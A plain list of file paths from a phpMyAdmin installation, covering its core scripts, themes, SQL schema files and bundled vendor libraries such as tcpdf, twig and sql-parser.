/phpmyadmin/libraries/tbl_partition_definition.inc.php
/phpmyadmin/libraries/user_preferences.inc.php
/phpmyadmin/libraries/vendor_config.php
/phpmyadmin/logout.php
/phpmyadmin/libraries/classes/Index.php
/phpmyadmin/libraries/classes/Scripts.php
/phpmyadmin/navigation.php
/phpmyadmin/phpinfo.php
/phpmyadmin/sql/create_tables.sql
/phpmyadmin/sql/upgrade_column_info_4_3_0+.sql
/phpmyadmin/sql/upgrade_tables_4_7_0+.sql
/phpmyadmin/sql/upgrade_tables_mysql_4_1_2+.sql
/phpmyadmin/sql.php
/phpmyadmin/themes/svg_gradient.php
/phpmyadmin/themes/original/css/common.css.php
/phpmyadmin/themes/pmahomme/layout.inc.php
/phpmyadmin/themes/original/css/navigation.css.php
/phpmyadmin/themes/original/css/printview.css
/phpmyadmin/themes/pmahomme/css/codemirror.css.php
/phpmyadmin/themes/pmahomme/theme.json
/phpmyadmin/themes/original/layout.inc.php
/phpmyadmin/themes/pmahomme/jquery/jquery-ui.css
/phpmyadmin/themes/original/theme.json
/phpmyadmin/themes/pmahomme/css/common.css.php
/phpmyadmin/themes/original/jquery/jquery-ui.css
/phpmyadmin/themes/pmahomme/css/designer.css.php
/phpmyadmin/themes/pmahomme/css/enum_editor.css.php
/phpmyadmin/themes/pmahomme/css/gis.css.php
/phpmyadmin/themes/pmahomme/css/icons.css.php
/phpmyadmin/tmp/twig/02/02f2315456e3be68bc898cce739f6116def17ba1e7cbe88004057ebaf9a007d9.php
/phpmyadmin/themes/pmahomme/css/jqplot.css.php
/phpmyadmin/tmp/twig/02/0224e06e10ec743f26231dd61ffcf52273c1f777682ad521387dfbc00a4578ba.php
/phpmyadmin/themes/pmahomme/css/navigation.css.php
/phpmyadmin/themes/pmahomme/css/printview.css
/phpmyadmin/themes/pmahomme/css/resizable-menu.css.php
/phpmyadmin/themes/pmahomme/css/rte.css.php
/phpmyadmin/themes.php
/phpmyadmin/vendor/autoload.php
/phpmyadmin/vendor/bin/highlight-query
/phpmyadmin/vendor/bacon/bacon-qr-code/LICENSE
/phpmyadmin/vendor/bin/lint-query
/phpmyadmin/vendor/bacon/bacon-qr-code/Module.php
/phpmyadmin/vendor/composer/ClassLoader.php
/phpmyadmin/vendor/bacon/bacon-qr-code/README.md
/phpmyadmin/vendor/composer/LICENSE
/phpmyadmin/vendor/bacon/bacon-qr-code/autoload_classmap.php
/phpmyadmin/vendor/bacon/bacon-qr-code/autoload_function.php
/phpmyadmin/vendor/google/recaptcha/CONTRIBUTING.md
/phpmyadmin/vendor/bacon/bacon-qr-code/autoload_register.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/LICENSE.txt
/phpmyadmin/vendor/composer/autoload_classmap.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/README.md
/phpmyadmin/vendor/paragonie/random_compat/LICENSE
/phpmyadmin/vendor/bacon/bacon-qr-code/composer.json
/phpmyadmin/vendor/google/recaptcha/LICENSE
/phpmyadmin/vendor/paragonie/constant_time_encoding/composer.json
/phpmyadmin/vendor/composer/autoload_files.php
/phpmyadmin/vendor/paragonie/random_compat/build-phar.sh
/phpmyadmin/vendor/phpseclib/phpseclib/AUTHORS
/phpmyadmin/vendor/google/recaptcha/README.md
/phpmyadmin/vendor/composer/autoload_namespaces.php
/phpmyadmin/vendor/paragonie/random_compat/composer.json
/phpmyadmin/vendor/phpmyadmin/motranslator/CHANGES.md
/phpmyadmin/vendor/composer/autoload_psr4.php
/phpmyadmin/vendor/phpseclib/phpseclib/LICENSE
/phpmyadmin/vendor/phpmyadmin/motranslator/CONTRIBUTING.md
/phpmyadmin/vendor/google/recaptcha/composer.json
/phpmyadmin/vendor/paragonie/constant_time_encoding/phpunit.xml.dist
/phpmyadmin/vendor/composer/autoload_real.php
/phpmyadmin/vendor/phpmyadmin/shapefile/CHANGELOG.md
/phpmyadmin/vendor/phpseclib/phpseclib/README.md
/phpmyadmin/vendor/phpmyadmin/motranslator/LICENSE
/phpmyadmin/vendor/google/recaptcha/phpunit.xml.dist
/phpmyadmin/vendor/pragmarx/google2fa/LICENSE.md
/phpmyadmin/vendor/phpmyadmin/shapefile/CONTRIBUTING.md
/phpmyadmin/vendor/phpseclib/phpseclib/composer.json
/phpmyadmin/vendor/phpmyadmin/motranslator/PERFORMANCE.md
/phpmyadmin/vendor/paragonie/constant_time_encoding/psalm.xml
/phpmyadmin/vendor/pragmarx/google2fa/README.md
/phpmyadmin/vendor/composer/autoload_static.php
/phpmyadmin/vendor/pragmarx/google2fa/RELICENSED.md
/phpmyadmin/vendor/paragonie/random_compat/psalm-autoload.php
/phpmyadmin/vendor/composer/installed.json
/phpmyadmin/vendor/pragmarx/google2fa/changelog.md
/phpmyadmin/vendor/phpmyadmin/shapefile/LICENSE
/phpmyadmin/vendor/psr/container/LICENSE
/phpmyadmin/vendor/paragonie/random_compat/psalm.xml
/phpmyadmin/vendor/phpmyadmin/sql-parser/CHANGELOG.md
/phpmyadmin/vendor/paragonie/random_compat/dist/random_compat.phar.pubkey
/phpmyadmin/vendor/phpmyadmin/shapefile/README.md
/phpmyadmin/vendor/pragmarx/google2fa/composer.json
/phpmyadmin/vendor/psr/container/README.md
/phpmyadmin/vendor/phpmyadmin/sql-parser/CONTRIBUTING.md
/phpmyadmin/vendor/phpmyadmin/motranslator/README.md
/phpmyadmin/vendor/phpmyadmin/shapefile/codecov.yml
/phpmyadmin/vendor/psr/container/composer.json
/phpmyadmin/vendor/pragmarx/google2fa/composer.lock
/phpmyadmin/vendor/phpmyadmin/sql-parser/LICENSE.txt
/phpmyadmin/vendor/phpmyadmin/motranslator/codecov.yml
/phpmyadmin/vendor/paragonie/random_compat/dist/random_compat.phar.pubkey.asc
/phpmyadmin/vendor/paragonie/random_compat/lib/byte_safe_strings.php
/phpmyadmin/vendor/phpmyadmin/shapefile/composer.json
/phpmyadmin/vendor/phpmyadmin/sql-parser/README.md
/phpmyadmin/vendor/phpmyadmin/motranslator/composer.json
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/bootstrap.php
/phpmyadmin/vendor/paragonie/random_compat/lib/cast_to_int.php
/phpmyadmin/vendor/phpmyadmin/shapefile/phpunit.xml
/phpmyadmin/vendor/pragmarx/google2fa/phpunit.xml
/phpmyadmin/vendor/phpmyadmin/motranslator/phpunit.xml
/phpmyadmin/vendor/paragonie/random_compat/other/build_phar.php
/phpmyadmin/vendor/paragonie/random_compat/lib/error_polyfill.php
/phpmyadmin/vendor/google/recaptcha/src/autoload.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/phpunit.xml
/phpmyadmin/vendor/paragonie/random_compat/lib/random.php
/phpmyadmin/vendor/paragonie/random_compat/lib/random_bytes_com_dotnet.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/codecov.yml
/phpmyadmin/vendor/samyoul/u2f-php-server/LICENCE.md
/phpmyadmin/vendor/paragonie/random_compat/lib/random_bytes_dev_urandom.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/composer.json
/phpmyadmin/vendor/samyoul/u2f-php-server/README.md
/phpmyadmin/vendor/paragonie/random_compat/lib/random_bytes_libsodium.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/src/Base32.php
/phpmyadmin/vendor/phpseclib/phpseclib/phpseclib/bootstrap.php
/phpmyadmin/vendor/symfony/expression-language/CHANGELOG.md
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base32HexTest.php
/phpmyadmin/vendor/paragonie/random_compat/lib/random_bytes_libsodium_legacy.php
/phpmyadmin/vendor/pragmarx/google2fa/upgrading.md
/phpmyadmin/vendor/phpseclib/phpseclib/phpseclib/openssl.cnf
/phpmyadmin/vendor/symfony/expression-language/Compiler.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base32Test.php
/phpmyadmin/vendor/symfony/polyfill-mbstring/LICENSE
/phpmyadmin/vendor/symfony/expression-language/Expression.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base64DotSlashOrderedTest.php
/phpmyadmin/vendor/samyoul/u2f-php-server/composer.json
/phpmyadmin/vendor/paragonie/random_compat/lib/random_bytes_mcrypt.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/phpunit.xml
/phpmyadmin/vendor/paragonie/constant_time_encoding/src/Base32Hex.php
/phpmyadmin/vendor/symfony/polyfill-php56/LICENSE
/phpmyadmin/vendor/symfony/polyfill-mbstring/Mbstring.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Writer.php
/phpmyadmin/vendor/symfony/expression-language/ExpressionFunction.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base64DotSlashTest.php
/phpmyadmin/vendor/paragonie/random_compat/lib/random_int.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/src/Base64.php
/phpmyadmin/vendor/symfony/polyfill-mbstring/README.md
/phpmyadmin/vendor/symfony/expression-language/ExpressionFunctionProviderInterface.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base64Test.php
/phpmyadmin/vendor/symfony/polyfill-php56/Php56.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/src/Base64DotSlash.php
/phpmyadmin/vendor/psr/container/src/ContainerExceptionInterface.php
/phpmyadmin/vendor/symfony/expression-language/ExpressionLanguage.php
/phpmyadmin/vendor/paragonie/constant_time_encoding/tests/Base64UrlSafeTest.php
/phpmyadmin/vendor/symfony/polyfill-util/Binary.php
/phpmyadmin/vendor/symfony/polyfill-php56/README.md
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/BlockPair.php
/phpmyadmin/vendor/symfony/polyfill-util/composer.json
/phpmyadmin/vendor/tecnickcom/tcpdf/tcpdf_barcodes_2d.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/BitUtils.php
/phpmyadmin/vendor/twig/twig/README.rst
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php
/phpmyadmin/vendor/symfony/expression-language/Token.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/CharacterSetEci.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Component.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/ExceptionInterface.php
/phpmyadmin/vendor/samyoul/u2f-php-server/src/Registration.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/RendererInterface.php
/phpmyadmin/vendor/tecnickcom/tcpdf/tcpdf_import.php
/phpmyadmin/vendor/twig/twig/composer.json
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php
/phpmyadmin/vendor/symfony/expression-language/TokenStream.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/ByteMatrix.php
/phpmyadmin/vendor/samyoul/u2f-php-server/src/RegistrationRequest.php
/phpmyadmin/vendor/tecnickcom/tcpdf/tcpdf_parser.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/EcBlock.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/InvalidArgumentException.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/Encoder.php
/phpmyadmin/vendor/samyoul/u2f-php-server/src/SignRequest.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/EcBlocks.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Context.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/OutOfBoundsException.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/MaskUtil.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php
/phpmyadmin/vendor/samyoul/u2f-php-server/src/U2FException.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/ErrorCorrectionLevel.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/MatrixUtil.php
/phpmyadmin/vendor/samyoul/u2f-php-server/src/U2FServer.php
/phpmyadmin/vendor/twig/twig/phpunit.xml.dist
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php
/phpmyadmin/vendor/symfony/expression-language/composer.json
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/FormatInformation.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/RuntimeException.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Encoder/QrCode.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php
/phpmyadmin/vendor/symfony/expression-language/phpunit.xml.dist
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/Mode.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Core.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/UnexpectedValueException.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php
/phpmyadmin/vendor/symfony/expression-language/Node/ArgumentsNode.php
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Exceptions/IncompatibleWithGoogleAuthenticatorException.php
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/ReedSolomonCodec.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Exception/WriterException.php
/phpmyadmin/vendor/tecnickcom/tcpdf/config/tcpdf_config.php
/phpmyadmin/vendor/symfony/expression-language/Node/ArrayNode.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Exceptions/InsecureCallException.php
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Post.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Support/Base32.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Common/Version.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Lexer.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Parser.php
/phpmyadmin/vendor/symfony/expression-language/ParserCache/ArrayParserCache.php
/phpmyadmin/vendor/symfony/expression-language/Node/BinaryNode.php
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Exceptions/InvalidCharactersException.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Support/Constants.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusans.ctg.z
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statement.php
/phpmyadmin/vendor/twig/extensions/src/ArrayExtension.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_colors.php
/phpmyadmin/vendor/symfony/expression-language/Node/ConditionalNode.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Exceptions/SecretKeyTooShortException.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Support/QRCode.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusans.php
/phpmyadmin/vendor/symfony/expression-language/ParserCache/ParserCacheInterface.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_filters.php
/phpmyadmin/vendor/twig/extensions/src/DateExtension.php
/phpmyadmin/vendor/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.php
/phpmyadmin/vendor/pragmarx/google2fa/src/Support/Url.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Token.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Cmyk.php
/phpmyadmin/vendor/twig/extensions/src/I18nExtension.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_font_data.php
/phpmyadmin/vendor/symfony/expression-language/Node/ConstantNode.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/AbstractRenderer.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/AlterOperation.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Text/Html.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/TokensList.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/ColorInterface.php
/phpmyadmin/vendor/twig/extensions/src/IntlExtension.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_fonts.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusans.z
/phpmyadmin/vendor/symfony/expression-language/Node/FunctionNode.php
/phpmyadmin/vendor/symfony/expression-language/Node/GetAttrNode.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusansb.ctg.z
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Array2d.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Text/Plain.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_images.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusansb.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/ArrayObj.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Translator.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Gray.php
/phpmyadmin/vendor/twig/extensions/src/TextExtension.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/tcpdf_static.php
/phpmyadmin/vendor/symfony/expression-language/Node/NameNode.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Eps.php
/phpmyadmin/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/CaseExpression.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/UtfString.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Png.php
/phpmyadmin/vendor/symfony/polyfill-mbstring/Resources/unidata/upperCase.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100000.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Condition.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Color/Rgb.php
/phpmyadmin/vendor/symfony/expression-language/Node/Node.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100100.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/CreateDefinition.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/RendererInterface.php
/phpmyadmin/vendor/symfony/expression-language/Node/UnaryNode.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100200.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Svg.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/AUTHORS
/phpmyadmin/vendor/tecnickcom/tcpdf/include/barcodes/datamatrix.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/DataType.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100300.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavusansb.z
/phpmyadmin/url.php
/phpmyadmin/vendor/twig/twig/src/Compiler.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/BUGS
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Exceptions/LexerException.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/helvetica.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/barcodes/pdf417.php
/phpmyadmin/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Expression.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql50000.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/AlterStatement.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/LICENSE
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Exceptions/LoaderException.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql50100.php
/phpmyadmin/vendor/twig/extensions/src/Node/TransNode.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Decorator/DecoratorInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/AnalyzeStatement.php
/phpmyadmin/vendor/twig/twig/ext/twig/config.m4
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Exceptions/ParserException.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/NEWS
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/ExpressionArray.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql50500.php
/phpmyadmin/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/Decorator/FinderPattern.php
/phpmyadmin/vendor/twig/twig/ext/twig/config.w32
/phpmyadmin/vendor/twig/twig/src/Environment.php
/phpmyadmin/vendor/twig/extensions/src/TokenParser/TransTokenParser.php
/phpmyadmin/vendor/tecnickcom/tcpdf/include/barcodes/qrcode.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/FunctionCall.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql50600.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/BackupStatement.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/README
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/GroupKeyword.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql50700.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/BufferedQuery.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Autoloader.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/CallStatement.php
/phpmyadmin/vendor/twig/twig/ext/twig/php_twig.h
/phpmyadmin/vendor/twig/twig/src/ExpressionParser.php
/phpmyadmin/vendor/twig/twig/src/Cache/CacheInterface.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/langcover.txt
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMySql80000.php
/phpmyadmin/vendor/twig/twig/src/Error/Error.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/CLI.php
/phpmyadmin/vendor/twig/twig/ext/twig/twig.c
/phpmyadmin/vendor/twig/twig/src/Cache/FilesystemCache.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/IntoKeyword.php
/phpmyadmin/vendor/twig/twig/src/Error/LoaderError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/CheckStatement.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Error.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar.php
/phpmyadmin/vendor/twig/twig/src/FileExtensionEscapingStrategy.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/status.txt
/phpmyadmin/vendor/twig/twig/src/Cache/NullCache.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/Array.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/JoinKeyword.php
/phpmyadmin/vendor/twig/twig/src/Error/RuntimeError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/ChecksumStatement.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Formatter.php
/phpmyadmin/vendor/twig/twig/src/Lexer.php
/phpmyadmin/vendor/twig/twig/src/Extension/AbstractExtension.php
/phpmyadmin/vendor/tecnickcom/tcpdf/fonts/dejavu-fonts-ttf-2.34/unicover.txt
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/Date.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Key.php
/phpmyadmin/vendor/twig/twig/src/Error/SyntaxError.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/CreateStatement.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/GrammarInterface.php
/phpmyadmin/vendor/twig/twig/src/Extension/CoreExtension.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Arguments.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/I18n.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Limit.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Misc.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/DeleteStatement.php
/phpmyadmin/vendor/twig/twig/src/Markup.php
/phpmyadmin/vendor/twig/twig/src/Extension/DebugExtension.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Array.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/OptionsArray.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/Intl.php
/phpmyadmin/vendor/twig/twig/src/Loader/ArrayLoader.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/DropStatement.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Query.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/SimpleTokenParser.php
/phpmyadmin/vendor/twig/twig/src/Extension/EscaperExtension.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Body.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Extension/Text.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/OrderKeyword.php
/phpmyadmin/vendor/twig/twig/src/Loader/ChainLoader.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/ExplainStatement.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Routine.php
/phpmyadmin/vendor/twig/twig/src/NodeTraverser.php
/phpmyadmin/vendor/twig/twig/src/Extension/ExtensionInterface.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Node/Trans.php
/phpmyadmin/vendor/twig/twig/src/Loader/ExistsLoaderInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Table.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/InsertStatement.php
/phpmyadmin/vendor/twig/twig/src/Extension/GlobalsInterface.php
/phpmyadmin/vendor/twig/twig/src/Node/AutoEscapeNode.php
/phpmyadmin/vendor/twig/twig/src/Node/BlockNode.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Boolean.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/ParameterDefinition.php
/phpmyadmin/vendor/twig/twig/src/Loader/FilesystemLoader.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/Tokens.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/LoadStatement.php
/phpmyadmin/vendor/twig/twig/src/Extension/InitRuntimeInterface.php
/phpmyadmin/vendor/twig/twig/src/Node/BlockReferenceNode.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/TokenParser/Trans.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Constant.php
/phpmyadmin/vendor/twig/twig/src/Loader/LoaderInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/MaintenanceStatement.php
/phpmyadmin/vendor/twig/twig/src/Node/BodyNode.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/AbstractNodeVisitor.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/PartitionDefinition.php
/phpmyadmin/vendor/twig/extensions/lib/Twig/Extensions/Grammar/Expression.php
/phpmyadmin/vendor/twig/twig/src/Loader/SourceContextLoaderInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/NotImplementedStatement.php
/phpmyadmin/vendor/twig/twig/src/Parser.php
/phpmyadmin/vendor/twig/twig/src/Extension/OptimizerExtension.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/EscaperNodeVisitor.php
/phpmyadmin/vendor/twig/twig/src/NodeVisitor/NodeVisitorInterface.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Components/Reference.php
/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Statements/OptimizeStatement.php
/phpmyadmin/vendor/twig/twig/src/Extension/ProfilerExtension.php
/phpmyadmin/vendor/twig/twig/src/Node/CheckSecurityNode.php
